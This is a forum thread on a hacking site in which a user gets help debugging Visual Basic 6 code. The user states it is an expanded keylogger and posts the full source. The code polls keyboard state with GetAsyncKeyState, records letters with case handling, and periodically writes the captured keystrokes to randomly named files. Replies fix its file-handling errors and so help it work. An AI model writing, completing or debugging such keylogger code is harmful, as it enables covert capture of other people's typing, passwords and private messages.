Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

(vb6) what is wrong with this code?


ghost's Avatar
0 0

Hi, what is wrong with this code… I just dont get it…

Text2.Text = ""
Randomize
Text1.Text = ""
Dim random_filename As Integer
random_filename_part1 = "wiston"
random_filename_part2 = Int(Rnd() * 2)
random_filename_part3 = ".mnm"
Text2.Text = random_filename_part1 + random_filename_part2 + random_filename_part3

Open Text2.Text For Output As #save

End Sub```

please help

Mr_Cheese's Avatar
0 1

where to being, the whole thing is basically wrong.

i can see what your trying to do, i'll post a code example later.


Mr_Cheese's Avatar
0 1

Randomize whats this?

random_filename_part1 = "wiston" random_filename_part2 = Int(Rnd() * 2) random_filename_part3 = ".mnm" Text2.Text = random_filename_part1 + random_filename_part2 + random_filename_part3

urrgh

random_filename = "wiston" & int(rnd() * 2) & ".mnm" Text2.Text = random_filename

Open Text2.Text For Output As #save

This is wrong coz you havnt defined #save as a free file location.

thats about it.


ghost's Avatar
0 0

Ok thanks alot :)


ghost's Avatar
0 0

Ok thanks alot :) [edit] sorry double post [/edit]


ghost's Avatar
0 0

Ok i tried it and got a runtime error '13' type mismatch. Here is my full code - Im trying to expand on a keylogger on an article.

Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

Private Sub List1_Click()

End Sub

Private Sub Form_Load()
Text2.Text = ""
Randomize
Text1.Text = ""
Dim random_filename As Integer
random_filename = "wiston" & Int(Rnd() * 2) & ".mnm"
Text2.Text = random_filename
Open Text2.Text For Output As #save

End Sub

Private Sub Timer1_Timer()
Dim i As Integer
Dim KeyPressed As String
Const Pressed = -32767

For i = 65 To 90
If GetAsyncKeyState(i) = Pressed Then
If GetCapsLock() = True Then
If GetShift() = True Then KeyPressed = LCase(Chr(i)) Else KeyPressed = UCase(Chr(i))
Else
If GetShift() = True Then KeyPressed = UCase(Chr(i)) Else KeyPressed = LCase(Chr(i))
End If
GoTo KeyFound
End If
Next i

Exit Sub
KeyFound:
Text1.Text = Text1.Text + KeyPressed + " "
End Sub
Private Function GetCapsLock() As Boolean
GetCapsLock = CBool(GetKeyState(20))
End Function

Private Function GetShift() As Boolean
GetShift = CBool(GetAsyncKeyState(16))
End Function

Private Sub Timer2_Timer()
Write #save, Text1.Text
  Close #1
  Text2.Text = ""
Randomize
Text1.Text = ""
Dim random_filename As Integer
random_filename_part1 = "wiston"
random_filename_part2 = Int(Rnd() * 999)
random_filename_part3 = ".mnm"
random_filename_complete = random_filename_part1 + random_filename_part2 + random_filename_part3
Text2.Text = random_filename_complete
Open Text2.Text For Output As #save
End Sub

ghost's Avatar
0 0

Private Sub Form_Load() Text2.Text = "" Randomize Text1.Text = "" Dim random_filename As String random_filename = "wiston" & Int(Rnd() * 2) & ".mnm" Text2.Text = random_filename Open Text2.Text For Output As #1 End Sub

That should do it ;)


ghost's Avatar
0 0

Ok that works, but when it tries to save, i get a runtime error '52' Bad filename or number at Write #save, Text2.Text


ghost's Avatar
0 0

Why are you trying to open it as #save You can use FreeFile function that returns the next number, you can use to open file

Here is an example:

i = FreeFile
Open "C:\file.txt" For Append As #i
Print #i, "sometext" ' Try to use Print not Write
Close #i```